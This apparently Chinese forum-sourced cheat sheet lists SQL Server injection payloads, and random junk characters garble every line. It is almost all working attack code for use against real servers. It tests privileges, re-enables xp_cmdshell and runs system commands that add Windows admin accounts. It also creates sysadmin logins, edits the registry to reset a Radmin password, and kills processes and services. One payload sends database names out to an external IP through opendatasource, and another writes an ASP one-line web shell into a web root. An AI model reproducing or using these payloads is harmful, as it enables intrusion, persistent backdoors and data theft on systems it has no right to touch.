//看看是什么权限的
9 Y5 }: I# z: ]/ ^" m* Eand 1=(Select IS_MEMBER('db_owner'))- d1 |* S# c2 W; `; M0 C( H
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--9 ]' d* C3 Y1 M- q8 @- T
! z) C, A6 L, W5 h) F
//检测是否有读取某数据库的权限
0 w+ | [5 A) z$ z2 C" Fand 1= (Select HAS_DBACCESS('master'))0 j9 O7 u( ?+ T) S1 f
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
: A$ I( e: l, m/ [* v* h/ m
% I: Z8 |) _/ U0 |! Y- B
& j& ?5 i- y( t( }. p" Z* k数字类型
5 `/ V. L% t+ I" i7 l# Zand char(124)%2Buser%2Bchar(124)=0: W! i8 Z3 ~' J9 w$ D4 q& g5 A
6 l" Y2 s" o% e. V* Z
字符类型( x4 _7 l! A3 P3 s' g! V$ ?$ W4 X9 Z! [+ a
' and char(124)%2Buser%2Bchar(124)=0 and ''='5 z+ D8 q( l0 h3 { u
, z8 ]2 r8 N; O" F4 d0 J搜索类型
/ ~; I& X [1 G) O5 L; [# y) N' and char(124)%2Buser%2Bchar(124)=0 and '%'='9 z" A g4 \3 p4 E- R" ^/ Q" `4 b
) f0 r8 ]4 Y t7 ?* N7 y爆用户名 l2 Z# o) k4 U- j: R6 |7 c P P) J) D
and user>06 G! E, @% k0 w; j9 }
' and user>0 and ''='; g3 b. p0 y7 u0 Q; d* M
5 O; v" Z4 f. [- s3 ]检测是否为SA权限% G3 r6 {5 V& U6 l+ M, X7 V( ]" m
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--8 }% f/ t a2 |+ @
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --* ~- {* P% ^6 g7 q# E3 K: U
, A" V7 \& e9 [' X8 l检测是不是MSSQL数据库1 v% g0 I6 ]' x- n
and exists (select * from sysobjects);--1 g; M" I5 [5 S X
. C: B; m* f( g检测是否支持多行
* C6 p) s9 K* [$ Q6 U# I8 z/ w;declare @d int;--
( G1 M$ b- H9 D, J5 D% C- s& s6 }' T5 b- \
恢复 xp_cmdshell
( w; H' o8 e; D! N$ |# R;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
: Y+ E; h" U6 @6 X* I q+ f2 n( @3 A9 J& _! W, E
: V& p6 O) R1 i1 L7 O1 aselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')* B) k! u9 O# _' {$ T5 [/ S; ?! h
) e4 `( e. C/ g1 G+ U//-----------------------
* X3 P2 J: A6 S% h0 j5 ~9 s+ x9 m3 q// 执行命令
6 L2 u, D# a, ^& M# m: Z( w4 x. K//-----------------------
: j' z% F) _6 y& J% I首先开启沙盘模式:
( R$ d. r& T5 g" x0 d8 wexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
( s, q d! i5 ]6 l8 k
0 `# ?" g3 Z5 L4 R' W然后利用jet.oledb执行系统命令* u1 x+ v1 I* K& J; N3 Y
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')/ E# b- V1 Y1 Z
) v, o) T* N2 g, v! N" Z
执行命令! j' U$ ?8 j& c9 a" l
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
8 s' w7 o# B' |7 T" B- M, E% h8 G- e% A% w9 }
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'* a- N! k* i# G& N
4 I. J/ l9 w0 J5 Q
判断xp_cmdshell扩展存储过程是否存在:
4 r2 @- x: D2 q8 H1 B$ E, p, Shttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')( L- {3 e3 g8 g3 @2 S- x
0 w7 y; G' B. K. C! N
写注册表
2 W1 G1 j5 v! b0 O n B% {exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',18 o* V& N- e( P2 R3 I# u+ [
" _: u1 k% n3 d8 v& \
REG_SZ
$ P& e) F. P; o3 v; `( k1 h* V5 F0 s
读注册表$ ^! _# s2 B+ f; s' W4 v
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'5 G9 _3 D6 ^, i) Z; I
( `: G; ~. P' o: V9 P读取目录内容5 D7 n+ q" K: V0 @9 R
exec master..xp_dirtree 'c:\winnt\system32\',1,1
6 t u8 l% V6 N: p9 q9 t, f. F; s$ ?7 G
2 p3 }4 p* }% s9 v# H# x) t( I
数据库备份
" k$ W+ {3 o+ Q( ~4 Q: Y: ]# b0 o3 Nbackup database pubs to disk = 'c:\123.bak'
6 I( K& s' q( H$ t& p* m
- _0 q5 ^1 a, J( Y//爆出长度
! r$ W- a* b3 X6 t7 mAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--1 c2 u: s* Y3 R7 C5 S' s7 K
9 F9 q% N0 x' H, p6 b
. E B% E. }; x; B- o
$ _! `; d, J0 G+ M更改sa口令方法:用sql综合利用工具连接后,执行命令:
c2 l9 _& B2 Gexec sp_password NULL,'新密码','sa'4 `" {4 V7 x+ o
! \9 j1 E7 G7 Y; k/ M6 w1 {& y添加和删除一个SA权限的用户test:
1 S3 s# x: b0 K( Q) dexec master.dbo.sp_addlogin test,9530772
# i8 Y& O, K2 V) z7 Gexec master.dbo.sp_addsrvrolemember test,sysadmin
% f5 z% c: S& ?0 T+ r) q+ y# ]
J- |9 d( w. t ?删除扩展存储过过程xp_cmdshell的语句:
v4 `0 B/ f6 ^; t/ b: {exec sp_dropextendedproc 'xp_cmdshell' C6 E! G( \% A6 _( \8 W
* |: o0 K# h" g# C x6 u
添加扩展存储过过程
$ F3 f, K0 \! |! H( Z: b& O5 m8 ^EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'# N7 f9 x( ~4 V) l; W5 N3 h; p
GRANT exec On xp_proxiedadata TO public
: y" V* e, a0 u; Q+ u0 s! f0 B. M; X: o+ t) h
3 ]/ z. U2 Y! O- f8 U停掉或激活某个服务。
6 u: b& Y) F; P. u5 \! h5 R9 h6 T7 g
exec master..xp_servicecontrol 'stop','schedule'
( ]& f1 I5 |9 hexec master..xp_servicecontrol 'start','schedule'$ e8 w( {' S- c H% V. l
5 q! J- J+ z( }2 ~
dbo.xp_subdirs9 X! k4 l& a1 j, u' f. I
2 f* d& ~6 }; R0 }只列某个目录下的子目录。; g+ E9 t5 ^' F* g; b( ^! t
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
$ n9 z' ]6 k- e) D: ]
2 J( k5 {" g& t3 s+ e) xdbo.xp_makecab
$ ?! v4 ^) i4 R+ X+ x1 p5 G7 ]4 L2 H: n; G& c. K3 _* c2 h; g
将目标多个档案压缩到某个目标档案之内。0 [- k! c& Y7 r" R* e8 U5 l1 l
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。6 X9 X- H$ p5 S
9 C7 L; e7 |& |9 ndbo.xp_makecab
' h. O7 E: G! r6 C5 U: N) B- Q'c:\test.cab','mszip',1,
% M }2 c, Z, j! _* ]8 J5 C2 B'C:\Inetpub\wwwroot\SQLInject\login.asp',
, H9 D) M: Y# ^7 _2 U. X, {6 I9 P'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
7 `+ Z9 X7 c( a( _$ H/ V g. F) a; }; S3 P# e2 K
xp_terminate_process
- G) `! C E; c4 m! D, j( K! q' `
# b- c( C3 ?8 G% I停掉某个执行中的程序,但赋予的参数是 Process ID。
4 B. o: x( [1 u6 ^- Q利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID- w! U* x4 l( m+ ?0 F
( [2 K# F9 d/ t# _7 i1 L3 Y/ K
xp_terminate_process 2484+ D% U, W& z- [$ F6 o7 y% [, f
' T( p7 {+ W- ~3 G! b+ r- k
xp_unpackcab7 P# f1 A2 h3 {6 }2 t8 R
: _1 E/ o t: \# A! q
解开压缩档。+ f- X9 T7 U# h- M" ^
" H* u. U6 W! b: i
xp_unpackcab 'c:\test.cab','c:\temp',15 Z K% q- ~4 ?0 p
7 u# W, ?3 R; i8 M
3 V+ p8 j3 l9 G' c# J/ [( D- l某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234. O. V6 ^7 X, j" b2 E" A
. q* O) u$ r" |' F: Z+ S
create database lcx;7 _) I& A6 @: s0 c6 s5 Y2 L
Create TABLE ku(name nvarchar(256) null);
4 y9 A- ~2 b# J! f2 t. `8 I8 aCreate TABLE biao(id int NULL,name nvarchar(256) null);1 m7 G. E/ p( \1 b9 j; v
9 A0 w" `2 Q# J( r& B* ]8 H' m
//得到数据库名+ o# U0 {! [) Z% Q) @" J0 f
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases7 o- p; c* v6 E+ y
5 f# Z: D" M A5 {, a ~0 @
# H! S( X8 E$ m/ }* c9 k. c//在Master中创建表,看看权限怎样
" d; v2 B. e5 o" w' Q, W6 s/ |$ ~3 g& N0 mCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
3 f4 e9 ~1 \- K9 J3 s, P- J& ?7 F- p/ t
用 sp_makewebtask直接在web目录里写入一句话马:
" w- g. X. u" a1 l d4 Vhttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
) Y# I6 U/ D" @/ R5 N9 }
2 e' \, }5 R# B//更新表内容. r8 r/ z$ s T, e) I B
Update films SET kind = 'Dramatic' Where id = 1237 ?" ~- h7 ` R& m
! T V3 i, Y9 w& {+ g: N% R//删除内容: P, Q; u, }: V( r5 m' v
delete from table_name where Stockid = 3 |